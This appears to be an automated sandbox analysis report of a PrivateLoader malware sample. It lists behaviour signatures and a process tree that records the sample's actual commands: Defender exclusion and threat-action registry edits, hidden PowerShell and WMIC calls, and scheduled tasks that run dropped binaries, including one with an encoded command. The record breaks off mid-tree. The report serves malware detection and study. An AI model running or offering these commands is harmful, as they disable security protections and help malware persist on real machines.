Overview

overview

10

Static

static

1

SecuriteIn...97.exe

windows7-x64

10

SecuriteIn...97.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    23/05/2024, 20:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe
  • Size 1.8MB
  • Sample240523-y698jsfb65
  • SHA256 803af90de603592cfdca6c9b6a8ffc39130a54dee552f0758f7ebf07ab327fc5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
privateloaderadwarebootkitdiscoveryevasionexecutionloaderpersistencespywarestealerthemidatrojan

Malware Config

Signatures

  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Windows security bypass 2 TTPs 40 IoCs
    evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 8 IoCs
  • Modifies Installed Components in the registry 2 TTPs 6 IoCs
    persistence
  • Sets service image path in registry 2 TTPs 9 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies system executable filetype association 2 TTPs 2 IoCs
    persistence
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Registers COM server for autorun 1 TTPs 3 IoCs
    persistence
  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Unexpected DNS network traffic destination 5 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 25 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Installs/modifies Browser Helper Object 2 TTPs 2 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Writes to the Master Boot Record (MBR) 1 TTPs 6 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 29 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 64 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win64.PWSX-gen.29347.28297.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1280
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Users\Admin\Pictures\Ov9d4cnP6MSFUxriDP4vM92q.exe
        "C:\Users\Admin\Pictures\Ov9d4cnP6MSFUxriDP4vM92q.exe" /s
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Writes to the Master Boot Record (MBR)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2164
        • C:\Users\Admin\Pictures\360TS_Setup.exe
          "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2756
          • C:\Program Files (x86)\1716496002_0\360TS_Setup.exe
            "C:\Program Files (x86)\1716496002_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
            5⤵
            • Drops file in Drivers directory
            • Sets service image path in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Checks for any installed AV software in registry
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Drops file in Program Files directory
            • Checks processor information in registry
            • Modifies registry class
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: LoadsDriver
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1912
            • C:\Windows\SysWOW64\regsvr32.exe
              "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
              6⤵
              • Loads dropped DLL
              PID:784
              • C:\Windows\system32\regsvr32.exe
                /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
                7⤵
                • Loads dropped DLL
                • Modifies system executable filetype association
                • Registers COM server for autorun
                • Modifies registry class
                PID:4428
            • C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe
              "C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning
              6⤵
              • Executes dropped EXE
              PID:5624
            • C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
              "C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install
              6⤵
              • Drops file in Drivers directory
              • Sets service image path in registry
              • Executes dropped EXE
              PID:5652
            • C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe
              "C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"
              6⤵
              • Modifies Installed Components in the registry
              • Executes dropped EXE
              • Drops file in Windows directory
              PID:4264
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst
                7⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:4168
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst
                7⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:4140
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -l roots.sst
                7⤵
                • Executes dropped EXE
                PID:4124
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -d delroots.sst
                7⤵
                • Executes dropped EXE
                PID:4112
      • C:\Users\Admin\Pictures\ciepRibE2lOlPLmP7ZajKHuE.exe
        "C:\Users\Admin\Pictures\ciepRibE2lOlPLmP7ZajKHuE.exe"
        3⤵
        • Modifies firewall policy service
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:2524
      • C:\Users\Admin\Pictures\bGsFUsGDO2sqXX1vEYuhhBQE.exe
        "C:\Users\Admin\Pictures\bGsFUsGDO2sqXX1vEYuhhBQE.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Users\Admin\AppData\Local\Temp\7zS6825.tmp\Install.exe
          .\Install.exe /odidum "385118" /S
          4⤵
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Loads dropped DLL
          • Enumerates system info in registry
          • Suspicious use of WriteProcessMemory
          PID:2236
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1112
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1500
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:2936
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                  8⤵
                    PID:876
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                6⤵
                  PID:2332
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                    7⤵
                      PID:2820
                      • \??\c:\windows\SysWOW64\reg.exe
                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                        8⤵
                          PID:2244
                    • C:\Windows\SysWOW64\forfiles.exe
                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                      6⤵
                        PID:2816
                        • C:\Windows\SysWOW64\cmd.exe
                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                          7⤵
                            PID:2096
                            • \??\c:\windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                              8⤵
                                PID:2960
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                            6⤵
                              PID:3060
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                7⤵
                                  PID:2832
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                    8⤵
                                      PID:2016
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                  6⤵
                                    PID:2520
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                      7⤵
                                        PID:2920
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                          8⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Drops file in System32 directory
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2568
                                          • C:\Windows\SysWOW64\gpupdate.exe
                                            "C:\Windows\system32\gpupdate.exe" /force
                                            9⤵
                                              PID:2684
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                      5⤵
                                        PID:2420
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                          6⤵
                                            PID:2492
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                              7⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2548
                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                8⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2924
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 20:26:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\edOgFNp.exe\" it /jLndidMmpR 385118 /S" /V1 /F
                                          5⤵
                                          • Drops file in Windows directory
                                          • Creates scheduled task(s)
                                          PID:1696
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                          5⤵
                                            PID:2496
                                            • C:\Windows\SysWOW64\cmd.exe
                                              /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                              6⤵
                                                PID:2736
                                                • \??\c:\windows\SysWOW64\schtasks.exe
                                                  schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                  7⤵
                                                    PID:1808
                                      • C:\Windows\system32\taskeng.exe
                                        taskeng.exe {9BD9228C-2466-4A8E-87E3-A2B01254D02A} S-1-5-18:NT AUTHORITY\System:Service:
                                        1⤵
                                          PID:2212
                                          • C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\edOgFNp.exe
                                            C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\edOgFNp.exe it /jLndidMmpR 385118 /S
                                            2⤵
                                            • Executes dropped EXE
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            PID:2172
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                              3⤵
                                                PID:1036
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                  4⤵
                                                    PID:2204
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                      5⤵
                                                        PID:1324
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                          6⤵
                                                            PID:3048
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                        4⤵
                                                          PID:2072
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                            5⤵
                                                              PID:3064
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                6⤵
                                                                  PID:3036
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                              4⤵
                                                                PID:1264
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                  5⤵
                                                                    PID:1912
                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                      6⤵
                                                                        PID:1648
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                    4⤵
                                                                      PID:2616
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                        5⤵
                                                                          PID:2804
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                            6⤵
                                                                              PID:2140
                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                          4⤵
                                                                            PID:2828
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                              5⤵
                                                                                PID:2408
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                  6⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1312
                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                    7⤵
                                                                                      PID:336
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /CREATE /TN "gfcgsBFNd" /SC once /ST 16:44:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                              3⤵
                                                                              • Creates scheduled task(s)
                                                                              PID:1856
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /run /I /tn "gfcgsBFNd"
                                                                              3⤵
                                                                                PID:1108
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks /DELETE /F /TN "gfcgsBFNd"
                                                                                3⤵
                                                                                  PID:1972
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                                                                                  3⤵
                                                                                    PID:2080
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                      4⤵
                                                                                        PID:1048
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                          5⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Drops file in System32 directory
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2784
                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                            6⤵
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:992
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:952
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                          4⤵
                                                                                          • Windows security bypass
                                                                                          PID:1124
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1928
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                            4⤵
                                                                                            • Windows security bypass
                                                                                            PID:784
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:2100
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                              4⤵
                                                                                                PID:2456
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:1316
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                  4⤵
                                                                                                    PID:2468
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd /C copy nul "C:\Windows\Temp\WPGfhLqOzAIwKSwi\yClzbBku\eFMoFFPzizTrwWIW.wsf"
                                                                                                  3⤵
                                                                                                    PID:3056
                                                                                                  • C:\Windows\SysWOW64\wscript.exe
                                                                                                    wscript "C:\Windows\Temp\WPGfhLqOzAIwKSwi\yClzbBku\eFMoFFPzizTrwWIW.wsf"
                                                                                                    3⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:2924
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2500
                                                                                                    • C:\Windows\SysWOW64\reg.exe
